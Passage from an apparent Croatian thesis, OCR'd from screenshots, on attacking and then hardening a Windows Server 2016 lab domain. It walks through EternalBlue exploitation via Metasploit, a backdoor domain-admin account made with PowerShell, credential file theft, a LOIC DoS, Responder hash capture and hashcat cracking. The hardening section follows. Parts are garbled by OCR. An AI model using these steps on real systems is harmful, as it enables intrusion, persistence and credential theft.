koristenjem opcije pod rednim brojem 3 odnosno auxiliary/scanner/smb/smb ms17 010.
Najprije trebamo definirati koju opciju zelimo koristiti, to radimo koriste¢i naredbu use 3 ili

mozemo specificirati use auxiliary/scanner/smb/smb_ms17_010.

> use 3
auxiliary( ) > show options

Slika 29. Definiranje opcija

Unosec¢i naredbu show options mozemo dobiti popis parametara koje moramo unijeti i

zadovoljiti kako bi proveli skeniranje, dobivamo iduci popis.

) > show options
Module options (auxiliary/scanne: /smb_ms17_01@):
Current Setting Required

no ( chitec
no Che for DOUBLEPU

for named pi
metasploit-framew rdlists/named_pipes.txt ye of named pi

THREADS
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Slika 30. Parametri unutar eternalblue skenera

Mozemo vidjeti da je obavezno navesti idu¢e parametre: NAMED PIPES, RHOSTS,
RPORT, THREADS.

Takoder mozemo vidjeti da su svi parametri osim RHOSTS ve¢ upisani po zadanim
postavkama te to nama u ovome slu¢aju odgovara, jedini parametar koji moramo zadati jest
RHOSTS odnosno IP adresu ciljane mete, u ovome slucaju je to server na IP adresi
192.168.8.100. To mozemo napraviti sa naredbom set rhosts 192.168.8.100, nakon S§to
postavimo zadani parametar, program mozemo pokrenuti koriste¢i naredbu run ili naredbu
exploit. Mozemo vidjeti proceduru na iducoj slici.

msf6 auxiliary( ) > set rhosts 192.168.8.100

rhosts =
msf6 auxiliary( ) > run

- Host is likely VULNERABLE to MS17-818! - Windows Server 2016 Standard Evaluation 14393 x64 (64-bit)
b 00445 - Scanned 1 of 1 hosts (1 complete)
Auxiliary module execution completed

Slika 31. Unasanje parametara potrebnih za izvodenje skeniranja

Kao $to mozemo vidjeti, nakon pokretanja skenera nam konzola vraca informaciju da je
server vjerojatno ranjiv na zadani potprogram MS17 010 znan kao EternalBlue. Takoder
nam vraca informaciju da se radi o Windows Server 2016 Standard Evaluation operacijskom
sustavu. Nakon §to smo odradili skeniranje ciljane mete, mozemo zapoceti sa konkretnim
napadom odnosno iskoriStavanjem ranjive tocke. Sada u izborniku odabiremo opciju use 1
kako bi odabrali potprogram za iskoristavanje, takoder upisujemo naredbu show options kako

bi dobili povratnu informaciju koje parametre moramo zadovoljiti.
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meterprete
W options

Name Curre Setting Required

DBEGTRACE

LEAKATTEMPTS

NAMEDPIPE

NAMED_PIPES Jusr/share/me Jwordlists/mamed_pipes.txt
RHOSTS

RPORT

SERVICE_D RIPTION

SER

ADMIN$
Domain .
\EPass

User

Slika 32. Odabiranje opcije 1 za isporucivanje malicioznog paketa

Opet je potrebno definirati RHOSTS varijablu, odnosno IP adresu ciljane mete te opet
upisujemo naredbu set RHOSTS 192.168.8.100 te pokre¢emo potprogram naredbom run ili

exploit.

EM session obtained!

a command or non-service e

8.100:49779) at

Slika 33. Provodenje napada i otvaranje meterpreter sesije

Kao $to mozemo vidjeti iskoriStavanje ranjive tocke je provedeno uspjesno te nam se otvorila
meterpreter sesija. Meterpreter sesija je shell sesija se ciljanom metom koja nam uz
uobiCajene mogucnosti shella, nudi i opcije koristenja drugih funkcija unutar metasploit
programa kako bi pokretali razli¢ite naredbe na ciljanoj meti. Uostalom moZemo kroz njega

pokrenuti i shell na udaljenoj meti naredbom shell.

ersion 1@.9.1.
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Slika 34. Otvaranje shell sesije unutar meterpreter sesije

Vidljivo je da se shell pokreée te da se nalazimo u sustavu servera. Mozemo navigirati do
C:\Users mape te pokrenuti naredbu dir da vidimo dobiveni rezultat. Nakon toga pokre¢emo

naredbu whoami da provjerimo identitet pod kojim se nalazimo u sustavu.

Volume in drive C has no label.
Volume Serial Number is 36EE-9F2@

Directory of C:Y

16.8
Administrator
Public

@ byte
2.224 byte

5
5

free

C:ZUsers>whoami
whoami
nt authority\system

Slika 35. Dir i whoami naredba unutar napadnutog sustava

Evidentno je da se nalazimo u sustavu te mozemo vidjeti korisnicke ra¢une unutar C:\Users
mape. Najbitnija informacija koju dobivamo je ta $to pokretanjem whoami naredbe dobivamo
rezultat nt authority\system, dakle mi se nalazimo unutar servera pod identitetom najmoc¢nijeg
korisnika sa najveCom razinom privilegija, ¢ak 1 ve¢om od lokalnom administratorskog

ra¢una. U ovome trenutku mi imamo potpunu kontrolu nad serverom.

Naredbom exit izlazimo iz shella te pokrecemo powershell na ciljanoj meti Koriste¢i
meterpreter naredbu load powershell. Nakon §to se naSa powershell sesija pokrene, mozemo
kao primjer izlistati sve lokalne rac¢une unutar domene Kkoriste¢i naredbu powershell_execute

'‘Get-ADUser -filter * | ft'. Rezultate naredbe mozemo vidjeti na iducoj slici.
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Ce55.
. > powershell_ te "Get-ADUser -tilter = | tt°
[+] Command cution compl

DistinguishedName Enabled GivenName Name ObjectClass ObjectGUID

True Administrator user 94ch5974-3 ...
False Guest user 6
a False DefaultAccount user
tgt,LN-U e:;,DL-dlplgm;kl,DL al False krbtgt user e-b...
ero Peric,0U=Tehnicki odjel,0U=26,DC=dipl i,0C=local True Pero Pero Peric user f91c51c2-9..,
CN=Ana Anic,0U=Marketinski odjel,0U=2G,DC= p]am;kl D Local True Ana Ana Anic user dbbf95ce-6 ...
IH Marko Markic,OU=Leasing odjel,0U=2G,DC=diplomski,DC 1a141 True Marko Marko Markic user 11121e1f-d ...

Slika 36. Pokretanje powershella u meterpreteru i rezultat 'Get-ADUser-filter * | ft' naredbe

Evidentno je da smo dobili kompletan popis sa svim korisnickim ra¢unima unutar domene te
smo uz to dobili i podatke poput organizacijskih jedinica. S obzirom da sada imamo
mogucénost pokretanja powershell naredbi te smo saznali neSto viSe o strukturi samih
organizacijskih jedinica unutar AD-a, u moguénosti smo kreirati korisnika. Cilj nakon ulaska
u sustav osim eskalacija privilegija jest i ostaviti straznji ulaz odnosno nekakvu moguénost
naknadnog neprimijecenog ulaska u sustav. Kreirati ¢emo administratorski raCun unutar

sustava koriste¢i powershell naredbu.

meterpreter > powershell_execute 'New-ADUser -Name "Josip™ -Path "CN=Users,DC=diplomski,DC=local™ -GivenName "Josip”
-Surname “Horvat" -SamAccountName "josip.horvat®™ -AccountPassword (ConvertTo-SecureString -AsPlainText "sigurnal@zi

nka@!" -Force) -ChangePasswordAtlLogon $False -DisplayName "Josip Horvat” -Enabled $True’
[+] Command execution completed:

Slika 37. Kreiranje novog korisnika koriste¢i powershell

Nakon Sto smo kreirali korisnika Josip Horvat, Zelimo ga dodati u administratorsku grupu
servera, koriste¢i idu¢e naredbe smo ga smjestili u grupu lokalnih 1 domenskih

administratora.

> powershell_e te "Add-ADGroupMember -Identity "Administrators” -Members josip.horvat’
[+] Command execution comp

meterpreter > powershell te "Add-ADGroupMember -Identity "Domain Admins" -Members josip.horwvat'
[+] Command executir

Slika 38. Smjestanje korisnika Josip Horvat u LA i DA grupe
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Na ovaj nacin smo kreirali dodatni administratorski ra¢un koji nam u buduénosti moze

posluziti za udaljeni pristup na server.

Jednako tako koriste¢i powershell, mozemo pokrenuti naredbu powershell_execute 'Get-
WmiObject -Class win32_share -Computername 192.168.8.100' kako bi enumerirali

dijeljene mape koje se nalaze na serveru. Nakon pokretanja naredbe dobivamo iduéi rezultat.

wershell_execute 'Get-WmiObject -Class win32_share -ComputerName 192.168.8.100'
[+] Command e ution completed:

Name Description

ADMINS indow Remote Admin
cs Default share
Dijeljeni
IPCS Remote IPC

i [ Logon server

Slika 39. Enumeracija dijeljenih resursa na serveru

Evidentno je iz rezultata da postoje dijeljene mape na serveru te nam to otvara novi vektor
napada. Uz §to moZemo pretpostaviti da je generalna dijeljena mapa na putanji C:\Dijeljeni,
vidljive su i podmape unutar putanje C:\Dijeljeni\Osobne mape. Naknadno navigiramo kroz

mape kako bi enumerirali 1 dobili viSe informacija o dijeljenim mapama.

61



indows\system32>cd C:\Dijeljeni

“WDijeljeni

:ZDijeljeni>dir
dir

Volume in drive C has no label.
Volume Serial Number is 36EE-9F28

Directory of C:%\Dijeljeni
25.85. <DIR>

: <DIR>
<DIR>
<DIR>
<DIR>
<DIR>

s)
)

(
6 Dir(s)

C:\Dijeljeni>cd Osocbne mape
Osobne mape

C:\Dijeljeni\Osobne mape>ls

C:%Dijeljeni\Osobne mape>dir

dir

Volume in drive C has no label.
Volume Serial Number is 36EE-9F28

51.

Leasing
Marketing
Osobne mape
Tehnicki
@ bytes
bytes free

or external command,

Directory of C:\Dijeljeni\Osobne mape

05.2023. 20: <DIR>
: <DIR>
<DIR>

<DIR>

<DIR>

<DIR>

.115.4

Ana Anic
a Evic

Slika 40. Navigiranje kroz dijeljene mape i prikupljanje informacija

Mozemo vidjeti kako u dijeljenoj mapi na putanji C:\Dijeljeni imamo podmape: Leasing,
Marketing, Osobne mape i1 Tehnicki. Mozemo pretpostaviti da su mape dijeljene po odjelima

te uz to imamo i osobne mape korisnika. Slobodno moZemo navigirati do osobne mape

korisnika Pero Peric te enumerirati sadrZaj mape, dobivamo iduce rezultate.
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dir
Volume in drive C has no label.
Volume Serial Number is 36EE-9F2@

Directory of C:\Dijeljeni\Osobne mape‘\Pero Peric

9.9898 KLIJENTSKA TABLICA.xlsx
84 Podatci za pristup racunalu i mailu.txt
9.992 bytes
52.113.743.872 bytes free

Slika 41. Pronalazak osjetljivih podataka u dijeljenoj mapi korisnika Pero Peric

Evidentno je da se u osobnoj mapi nalaz .txt dokument pod nazivom ,Podatci za pristup
raunalu 1 mailu“ te .xlsx dokument zvan , KLIJENTSKA TABLICA®*. Koriste¢i meterpreter
imamo mogucnosti preuzimanja podataka sa kompromitiranog servera na naSe racunalo.
Potrebno je unijeti idu¢u naredbu download , c.\\Dijeljeni\Osobne mape\\Pero
Peric\KLIJENTSKA TABLICA.xIsx“ /home/kali. Dakle prvo definiramo putanju na serveru te
onda definiramo putanju gdje zelimo da se datoteka spremi, u ovome slucaju je to /home/kali,
istu naredbu koristimo i za datoteku ,,Podatci za pristup racunalu i mailu®.

racunalu i mailu
xt = /h

Downloaded
download

Mozemo vidjeti da smo uspjesno preuzeli datoteke sa servera na racunalo te ih sada mozemo

pregledati, za tekstualnu datoteku koristimo nano, a za .xlIsx datoteku libre office.

|
GNU nano 6.4

flser: pero.peric

lozinka: MhN!292Q

email: pero.peric@firma.hr
lozinka: MhN!292Q

63



Slika 43. Citanje podataka za pristup racunalu

[m] KLIJENTSKA TAB

File Edit View |Insert Format Styles Sheet Data Tools Window Help
- ~ Ry L= -

ICan'J'bn' 2 |11 ot =] STA TR =

F12 o (=

A |8 | c | o | ¢ WM o |

1 |DC, File Server 192.168.1.15 Domain Admin: Administrator/$ 1gurn@L0z1nk@

DC2, Web Server 192.168.1.16 Domain Admin: Administrator/$1gurn@L0z1nk@

T T O D Te—.

Y

3
E
4

Slika 44. Citanje podataka klijentske tablice

Ovim putem smo na vrlo jednostavan nacin dosli do korisni¢kih podataka Pere Peri¢a te smo
pronasli i Klijentsku tablicu unutar njegove osobne mape koja se referira na podatke servera
nekog Klijenta. Ovakvi primjeri su u praksi, izvan ovog laboratorijskog okruZenja, iznimno
ucestali te je ovo vrlo realna situacija, velik broj korisnika sprema vjerodajnice za razne
servise u cleartextu unutar tekstualnih datoteka na svojim ra¢unalima i u dijeljenim mapama
na serveru. Ukoliko neki napada¢ dode do sustava te mu je namjera $to dulje ostati prikriven
u sustavu te ukrasti potencijalne podatke, ovo je najceS¢e jedan od prvih nacina kako to i

postize.

Sada mozemo prikazati pristup serveru putem RDP-a koriste¢i prethodno kreirani
administratorski ratun Josip Horvat. Unutar Kali Linux okruzenja mozemo preuzeti softver
za RDP pristup na Windows strojeve zvan Remmina. Instaliramo softver koriste¢i apt-get
install remmina naredbu te nakon instalacije paketa, softver pokre¢emo naredbom remmina.
Kada se softver pokrene, dobivamo sucelje u koje mozemo upisati [P adresu stroja na kojeg
se povezujemo RDP-om te uz IP adresu moramo upisati i vjerodajnice te domenu. Podatci

koje upisujemo su vidljivi na idu¢im slikama.
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B qQ Remmina Remote Desktop Client

RDP ~ | [192.168.8.100

Name + Group Labels Server Plugin Last used

Total 0 items.

Slika 44. Definiranje IP adrese servera na koji se spajamo RDPom
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192.168.8.100

@ 192.168.8.100 x

Enter RDP authentication credentials

Username josip.horvat

Password SRR DBRRRN
Domain diplomski.local

Save password

0].4

Slika 45. Definiranje korisnickih vjerodajnica za spajanje na server

Prilikom pritiska na tipku OK, uspjesno se spajamo RDP-om na server te sada imamo

vizualni pregled Citavog servera.
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192.168.8.100

©192.168.8.100 x
File Horme Share e
v « Local Disk (C:) » Dijeljeni » v | O Search Dijeljeni

MName Date modified
7 Quick access

[ Desktop
3 Downloads

Leasing 03 File folder

Marketing 6. 18 File folder

REEEE

Osobne mape 25. 9 File folder

=| Documents Tehnicki File folder

Fa
¥l

&= Pictures

[ This PC

[
ra
HJ

¥ Network

2 A0

4items  State: @& Shared

) 108
AT s9cop; B

-

Slika 46. Vizualni pregled servera WIN-SERVER2016

Prilikom prvotnog skeniranja servera smo naisli i na otvoreni port 80 odnosno port koji inace
koristi HTTP protokol. Koriste¢i alat LOIC (Low Orbit Ion Cannon) moZemo iskoristiti
slabosti porta 80 kako bi proveli DoS (Denial of Service) napad. Kao preduvjet za koristenje
LOIC alata, moramo instalirati mono, to mozemo napraviti naredbom apt-get install mono-
complete. Pri pokretanju LOIC alata trebamo unijeti IP adresu ciljane mete, port te protokol

kojim ¢emo slati promet prema Serveru, ostale vrijednosti mogu ostati zadane.

U ovome slucaju definiramo IP adresu servera 192.168.8.100, odabiremo port 80 te HTTP

kao metodu napada. Pritiskom na Lock on tipku dobivamo idu¢i prikaz.
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Low Orbit len Cannon | When harpoens, air strikes and nukes fails | v. 1.0.8.0

et

UR Lock
— IMMA CHARGIN MAH LAZER
IF 192 168.8.100 Lock on

192.168.8.100

e i e

Slika 47. Definiranje IP adrese, porta i protokola servera nad kojim provodimo DoS napad

Vidljivo je da imamo odabranu metu na IP adresi 192.168.8.100 te jedino Sto nam je
preostalo je pritisnuti na tipku ,JMMA CHARGIN MAH LAZER* s ¢ime poéinjemo slati

odnosno poplavljivati metu sa paketima.

Low Orbit lon Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8.0

192.168.8.100

Drootnv®arm

Slika 48. Pocetak DoS napada

U dijelu sucelja pod ,,Attack status* moZemo vidjeti da je trenutno preuzeto i zatrazeno 2030
paketa te je napad jo$ uvijek u trajanju, na serverovom ethernet prilagodniku je vidljiv

rezultat napada.
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17 Task Manager - x
File Options  View
Processes Performance Users Details Services
f;}’lsm Ethernet Intel(R) PRO/1000 MT Desktop Adapter
~ Throughput 500 Kbps
O Memory
1,1/4,0 GB (28%) 450 Kbps

() Ethernet
S 0Kbps R: 57,1 Mbps

60 seconds

i Send Adapter name: Ethernet

H 0 Kbps Connection type:  Ethernet

' IPvd address: 192.168.8.100
Receive IPv6 address:
57,1 Mbps

Fewer details ES-Z' Open Resource Menitor

Slika 49. Stanje Ethernet prilagodnika na serveru WIN-SERVER2016 prilikom DoS napada

Evidentno je da nam je mrezni promet pod izuzetnim naporom te bi s vremenom trajanja
napada optereCenje znatno raslo dok u jednom trenu ne bi mogli visSe komunicirati sa

klijentima zbog iznimne preopterecenosti mreze.
6.3.2. Napadi i iskoriStavanje klijenta

Kada se zele ugroziti klijentska racunala ili saznati vjerodajnice klijentskih rac¢unala u
napadima, najéeS¢e se koriste metode druStvenog inZenjeringa. Metode drustvenog
inZenjeringa se najCeS¢e koriste zato Sto su ljudi lakovjerni ili se iskoriStavaju trenutci
nepaznje te su uz to klijentska raCunala najceS¢e teza za infiltrirati zbog malog broja
otvorenih portova i puno ¢esc¢ih sigurnosnih azuriranja, sa druge strane serverska racunala
imaju velik broj otvorenih portova te se rjede azuriraju jer azuriranje Servera podrazumijeva
prekid poslovanja na odreden period vremena.
Izuzev metoda drustvenog inZenjeringa, u slucaju da se nalazimo u lokalnoj mrezi je moguce

iskoristiti samu arhitekturu Active Directoryja protiv njega hvatanjem odredenih paketa. U
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ovome slucaju ¢emo prikazati na koji nacin se mogu dobaviti vjerodajnice klijentskog
racunala ukoliko nije konfigurirana kvalitetna sigurnosna politika zaporki unutar Group

Policyja na Domain Controlleru.

3

Unutar root terminala naSeg Kali Linux stroja koriste¢i naredbu ,responder -l ethO -dwv*
pokrecemo Responder. Responder je alat koji sluzi za oponaSanje raznih servisa te pruza te

usluge unutar mreze. Rezultat koji dobivamo je iduci.

/home/lovro

NET-NS, LLMNR & MDNS Responder 3.

To support this pr
Patreon — https
Paypal — https

Author: Laurent Gaffie (laurent.gaffiefigmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
LLMNE
NEBT-NS
MDNS
DNS
DHCP

Servers:

HTTP

HTTPS

WPAD

Auth )

SME server
Kerberos server
s0L se

FTP s¢
IMAP
POP3
SMTP
DNS
LDAP
RDP se
DCE-RPC
WinRM server

1+

[Fa]
{7 B O s I ¥
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Slika 50. Pokretanje Responder servisa na Kali Linux stroju

HTTP Options:
Always serving EXE
Serving EXE
Serving HTML
Upstream Proxy

Poisoning Options:
Analyze Mode

Force WPAD auth
Force Basic Auth
Force LM downgrade
Force ESS downgrade

Generic Options:
Responder NIC
Responder IP

Responder IPv6
Challenge set

Don't Respond To Names

Current Session Variables:
Responder Machine Name
Responder Domain Name
Responder DCE-RPC Port

Listening for events ...

Slika 51. Pokretanje Responder servisa na Kali Linux stroju

U trenutnom stadiju, program responder koriste¢i definirano mrezno sucelje ethO slusa za
pakete. S obzirom da nemamo produkcijske korisnike u nasem okruZenju, simulirati ¢emo

dogadaj koji responder Ceka.

Na nasem klijentskom racunalu Racunalol, koriste¢i korisnicki racun Ive Ivic, pokre¢emo

program Run te u njega upisujemo \\192.168.8.101, na ovaj nacin simuliramo pristupanje

dijeljenom mreznom resursu na uredaju pod IP adresom 192.168.8.101 odnosno naSem Kali

Linux stroju. Postupak se moZe vidjet na sljede¢im slikama.
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file://///192.168.8.101

Type the name of a programn, folder, docurnent or Internet
resource, and Windows will open it for you.

W192.168.8.101

Cancel Browse...

Slika 52. Simulacija pristupanja dijeljenom mreznom resursu na stroju Racunalol

Windows Security X

Enter network credentials

Enter your credentials to connect to: 192.168.8.101

m

Jsernar

Password

Domain: DIPLOMSEKI

I:l Remember my credentials

Access is denied.

oK Cancel

Slika 53. Automatski zahtjev za mrezne vjerodajnice na stroju Racunalol

Evidentno je da se otvara prozor za unosenje mreznih vjerodajnica, u meduvremenu na naSem

Kali stroju unutar Respondera moZzemo vidjeti idu¢i rezultat.
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Found DHCP ser
[LLMNR] i
[MDNS]
N

[LLMNR]
[LLMNR]

=

for
.F.
0 for
.F.
.F
e
.F.
0 for
.F.
.F.
i
.F.
0 for
.F.
.F.
.F.
.F.
0
.F.
.F.
.F.
.F.
0 for
.F.
.F.
.F.
.F.
.F.
0 for
.F.
0 fo

Slika 54. Uhvacene vjerodajnice korisnice iva.ivic

Mozemo vidjeti kako smo uspjesno uhvatili kriptirane vjerodajnice korisnice Ive Ivic sa
stroja na adresi 192.168.8.200 bez da je korisnica uopcée upisala vjerodajnice unutar prozora
za upis vjerodajnica. Kriptiranu hash vrijednost smo sacuvali u NTLMv2-hash.txt datoteku

na putanji /home/lovro/downloads.
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A ~[/Downloads/NTLMv2-hash.txt [Read Only] - Mousepad

File Edit Search View Document Help

R [w R C x O aQ & n )

1|iva.iuic::DIPLDMSKI:a?gbfdﬁﬁﬂEddeEEE:531F?AE1B??9528262355EEBQEQBEDQB:

0leleeee0o000000802D10EDDCOTDI901AGEDDIAS1I156AR32000000000200080032003000
3300340001001EQ0570040004E002D0042004900450032004B0051003700570053005400
450004003400570049004E002D0042004000450032004B00510037005700530054004500
2E0032003000330034002E004CORN4FO0430041004C000300140032003000330034002E00
LCOD4FRR430041004C000500140032003000330034002E004C004F00430041004C00DT700
PE00802D10EDDCIT7D9010600040002000000080030003000000000000000000000000020
00007F1BD5718D75ACAT719CDC2B7642ED@542E599976@F51F1C92FOBOOC4BAL86C50DARD
1000000000000000000000000000000000000900240063006900660073002F0031003900
32002EQ03100360038002E0038002E003100300031000000000000000000

Slika 55. Kriptirana hash vrijednost lozinke korisnika iva.ivic

Nakon $§to smo sacuvali hash vrijednost, kombinacijom alata hashcat i liste lozinki
rockyou.txt koja se nalazi unutar svakog Kali Linux operativnog sustava moZzemo pokrenuti
brute force napad rjeCnikom. Prije toga moramo saznati koji kod za NTLMv2
autentifikacijski protokol hashcat koristi, to mozemo saznati sa naredbom ,,hashcat -h | grep

NTLM®, dobivamo idu¢i rezultat.

/home/lovro
NTLM
/ Net

Operating Sy

Slika 56. Prikaz koda za protokole unutar hashcata

Mozemo vidjeti kako je kod za NTLMv2 hash 5600, sada znamo kako strukturirati idu¢u

naredbu.  Unutar root terminala  pokreéemo  naredbu ,Lhashcat -m 5600
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/home/lovro/Downloads/NTLMv2-hash.txt  /usr/share/wordlists/rockyou.txt -O%,  unutar
manje od sekunde je hashcat probio lozinku te ju mozemo pregledati idu¢om naredbom
,,hashcat -m 5600 /home/lovro/Downloads/NTLMv2-hash.txt /usr/share/wordlists/rockyou.txt

-O --show*

/home/lovro

Slika 57. Prikaz lozinke korisnika iva.ivic

Na kraju stringa nakon znaka dvotocke nailazimo na zapis ,,12345678 koji odgovara lozinki
korisnice iva.ivic. Ovo je posljedica lose konfigurirane sigurnosne politike zaporki klijentskih

rac¢unala 1 korisni¢kih racuna.

6.3.3. Otvrdnjavanje

Kada smo proveli fazu napada te iskoristili ranjive tocke sustava, idu¢i korak je upravo te
toCke eliminirati odnosno provesti potrebne stegovne mjere nad sustavom kako bi se zastitili
od napada, proces uvodenja tih mjera kako bi zastitili sustav se zove otvrdnjavanje (engl.

hardening)
6.3.4. Microsoft-ds (port 445)

Prva slaba tocka koju smo iskoristili, a ujedno i1 najopasnija jest iskoriStavanje SMBvI
protokola koriste¢i EternalBlue metodu. EternalBlue je metoda koju je razvila americka
nacionalna sigurnosna agencija (NSA) nakon $to je provela par godina istraZzujuci slabosti u
Microsoftovom softveru. Nakon razvijanja NSA nije prijavila slabost Microsoftu ve¢ ju je
narednih pola desetlje¢a koristila za borbu protiv terorizma i u slicnim operacijama. U
jednom trenu je hakerska grupa Shadow Brokers saznala za EternalBlue nakon S§to su
infiltrirali riznicu raCunalnih oruzja americ¢ke nacionalne sigurnosne agencije te su ju pustili u
javnost. Ovo je dovelo do jednog od najvecih kibernetickih napada u povijesti znan kao
WannaCry ransomware napad u kojem su na globalnoj razini stotine tisu¢a servera bili

zahvaceni. Dakle EternalBlue radi tako da iskoriStava nesiguran SMBv1 protokol koji je jos$
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uvijek prisutan u Microsoftovim okruzenjima, on koriste¢ci SMBv1 protokol moze poslati

maligni paket koji bi u sebi sadrzavao maliciozni softver poput trojanskog konja koji u

konacnici omogucuje napadacu potpunu kontrolu nad sustavom. Kako je ovo bio iznimno

velik problem kada je iziSao u javnost, Microsoft se brzo potrudio §to prije izbaciti

sigurnosno azuriranje za operacijske sustave, klijentske i serverske. Kako bi se zastitili protiv

EternalBlue i slicnih napada, potrebno je obavezno azurirati na§ Windows Server 2016

operacijski sustav sa sigurnosnim azuriranjem KB4013429 ili kasnijim azuriranjem koje u

sebi sadrzi 1 KB4013429.

@4 Installed Updates

&« « 4 @& » Control Panel » Programs > Programs and Features » Installed Updates

Control Panel H .
prielranelrome Uninstall an update

Uninstall a pregram

& Tum Windows features on or

off

Organize =  Uninstall

Install a program from the
network Mame

Microseft Windows (6)
[ Update for Microsoft Windows (KB4589210)
mUpdate for Microsoft Windows (KB4103720)
mUpdatefor Microsoft Windows (KB3211320)
mUpdatefor Microsoft Windows (KB3192137)

[] Security Update for Microsoft Windows (KB5023788)

To uninstall an update, select it from the list and then click Uninstall or Change.

Program

Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows

Version

v O

Publisher

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Microsoft Corporation

Search Installed Upc

O

ates

== -

X

o

{[u=[Security Update for Microsoft Windows (KB5012170)

Microsoft Windows

Microsoft Corporation

. Microsoft Corporation Parent name:  Microsoft Windows

Support link:  https://support.microsoft.com/help/5012170

Slika 58. Pregled instaliranih azuriranja na stroju WIN-SERVER2016

Na gornjoj slici mozemo vidjeti sigurnosna azuriranja koje smo preuzeli i instalirali na na$

stroj WIN-SERVER2016, na sljedecoj slici mozemo vidjeti pokusaj iskoristavanja koristeci

EternalBlue metodu.
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ull module info with the inf r inf command .

=
]
—+
[=y]

(W5 1 [=

xploit( ) > s S5TS 192.168.8.100
» 192.168.8.108@
exploit(

)
I
—+ O

=
[%3]

Started reverse TCP handler on 192

192. 8. (445 - Using auxiliar

192, 1¢ .18 45 - Host does

192 . 1¢ .18 45 - Scanned 1 of 1 hosts
192.1¢ .1@ 45 - The target is not vulnerable.
Exploit completed, but no session was created.

Slika 59. Meta na adresi 192.168.8.100 vise nije ranjiva na eternalblue

Evidentno je kako smo nakon sigurnosnog azuriranja zastitili WIN-SERVER2016 od napada

poput EternalBlue, EternalRomance 1 EternalChampion koji iskoriStavaju SMBv1 protokol.

6.3.5. HTTP (port 80)

U drugom dijelu faze napada smo demonstrirali poplavljivanje otvorenog porta 80 Koristec¢i
LOIC alat. Port 80 se vrlo Cesto koristi unutar zatvorenih racunalnih mreza kako bi se
pristupilo internim web-stranicama, a ponekad i javnim web-stranicama neke organizacije. S
obzirom da je protokol u svojem osnovnom obliku nesiguran odnosno ne garantira sigurno
spajanje kod klijenta i servera, preporucljivo ga je izbjegavati i koristiti HTTPS koji je
sigurniji ili preusmijeriti promet port forwardom na port 443 odnosno HTTPS. Mi smo
koriste¢i alat mogli vrlo lako slati ogroman broj paketa te tako poplaviti server i u konacnici
uzrokovati nemoguénost pruZanja usluge servera. Ovaj problem se rjeSava tako da se u
postavkama vatrozida doda novo pravilo koje se odnosi na port 80 koji zabranjuje sav dolazni
promet Kkoji nije siguran ili koji ne dolazi od znanog Kkorisnika odnosno racunala.

Implementaciju mozemo vidjeti na idu¢im slikama:
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U Cast tn Nevice streaminn server (RTSP-Str... Cast tn Devire functinnalite
£

Fil ﬂ Mew Inbound Rule Wizard
| 4= Rule Type
ﬂ Select the type of firewall nule to create.
Steps:
& Rule Type What type of rule would you like to create?
@ Predefined Rules
@ Action ) Program
Rule that controls connections for a program.
O Port
Rule that controls connections for a TCP or UDP port.
(® Predefined:
World Wide Web Services (HTTF)
Rule that controls connections for a Windows experience.
() Custom
Custom rule.
< Back Meat = Cancel
19 Cast to Device streaming server (RTCP-5t... Cast to Device functionality Domain  Yes
@ Cast to Device streaming server (RTCP-St... Cast to Device functionality Private  Yes
@ Cast to Device streaming server (RTCP-5t...  Cast to Device functionality Public Yes
Puhlic Ve

Action
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow
Allow

Allonw

Actions

Slika 60. Kreiranje pravila unutar vatrozida - HTTP

Inbound Rules
Mew Rule...
Filter by Profile
Filter by State

4B

Filter by Group
View

Refresh

Export List...

B D

Help

Active Directory Domain C...

& Disable Rule
& cut
5 Copy
Delete

Properties

B @ X &

Help

Na slici smo definirali da zelimo kreirati predodredeno pravilo koje se odnosi na HTTP.
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File Action View

| n

3 Inbound Rules

ﬂ Windows Firewall with Advance

Outbound Rul
5'!_. Connection Sec|
L Monitoring

ith Acvan — ] b
Help
EY
Inbound Rules Actions
=
Name Group Profile Enabled Action * || Inbound Rules -~
@ New Inbound Rule Wizard % | NewRule..
Action Filter by Profile »
Specify the action to be taken when a connection matches the conditions specified in the rule. Filter by State 4
Filter by Group 3
Steps: View »
@ Rule Type What action should be taken when a connection matches the specified conditions? Refrech
@ Predefined Rules .
. () Allow the connection Export List..
@ Action This includes connections that are protected with IPsec as well as those are not. Help
@ Users
Comput @ Allow the connection if it is secure ttive Directory Domain C... &
¢ mpLers This includes only connections that have been authenticated by using IPsec. Connections .
will be secured using the settings in IPsec properties and rules in the Connection Securty Disable Rule
L@Jle node.
Cut
Customize.. Copy
(C) Block the connection Delete
Properties
Help
< Back MNea > Cancel

Slika 61. Omogucavanje spajanja iskljucivo za sigurne veze

Zatim smo definirali da Zelimo omoguciti spajanje iskljuc¢ivo ako je ono sigurno.
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P Windows Firewall with Advanced Security — [m} *
File Action View Help
| 2E (]

@ Windows Firewall with Advance JIH TR Actions

&3 Inbound Rules [

Outbound Rul Name Group Profile Enabled Action || Inbound Rules -~
Y% Connection Sec 0 Mew Inbound Rule Wizard ¥ | NewRule..
& Monitoring Users Filter by Profile 3
Specify the users that are allowed to make the connection specified by this rule. Filter by State 4
Filter by Group 3
Steps:
Authorized users View 4
@ Fue Type Only allow connections from these users Refresh
@ Predefined Rules DIPLOMSKI\marko markic A | Export List...
@ Action DIPLOMSKI ana anic
DIPLOMSK] pero peric Help
@ Users DIPLOMSK ava avic
@ Computers ftive Directory Domain C... &
Disable Rule
Bxceptions Cut
[ Skip this nule for connections from these users Copy
L\\) Delete
Properties
Help

Mate: user identities can only be verfied i an authentication method
that camies user idertity is used.

< Back Nexdt > Cancel

Slika 62. Nadodavanje korisnika koji smiju pristupiti HTTPom po portu 80

Na popis korisnika koji se smiju spajati na servis smo nadodali korisnike iz nase domene,

dakle: marko.markic, ana.anic, pero.peric i eva.evic.
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File Action View
e« am =

Help
|

Inbound Rules
Outbound Rul

ﬂ Windows Firewall with Advance

MName

=

Group

Profile

Enabled

Inbound Rules Actions

Action

Inbound Rules -

5'!._. Connection Sec
'_.Lﬂ Menitoring

9 MNew Inbound Rule Wizard

Computers

Specify the computers that are allowed to make the connection specified by this nile.

Steps:

Rule Type
Predefined Rules
Action

Users

& & & & &

Computers

Authorized computers

Only allow connections from these computers:

DIFLOMSKNRACUNALO1S

Exceptions

] Skip this rule for connections from thess computers:

_L@

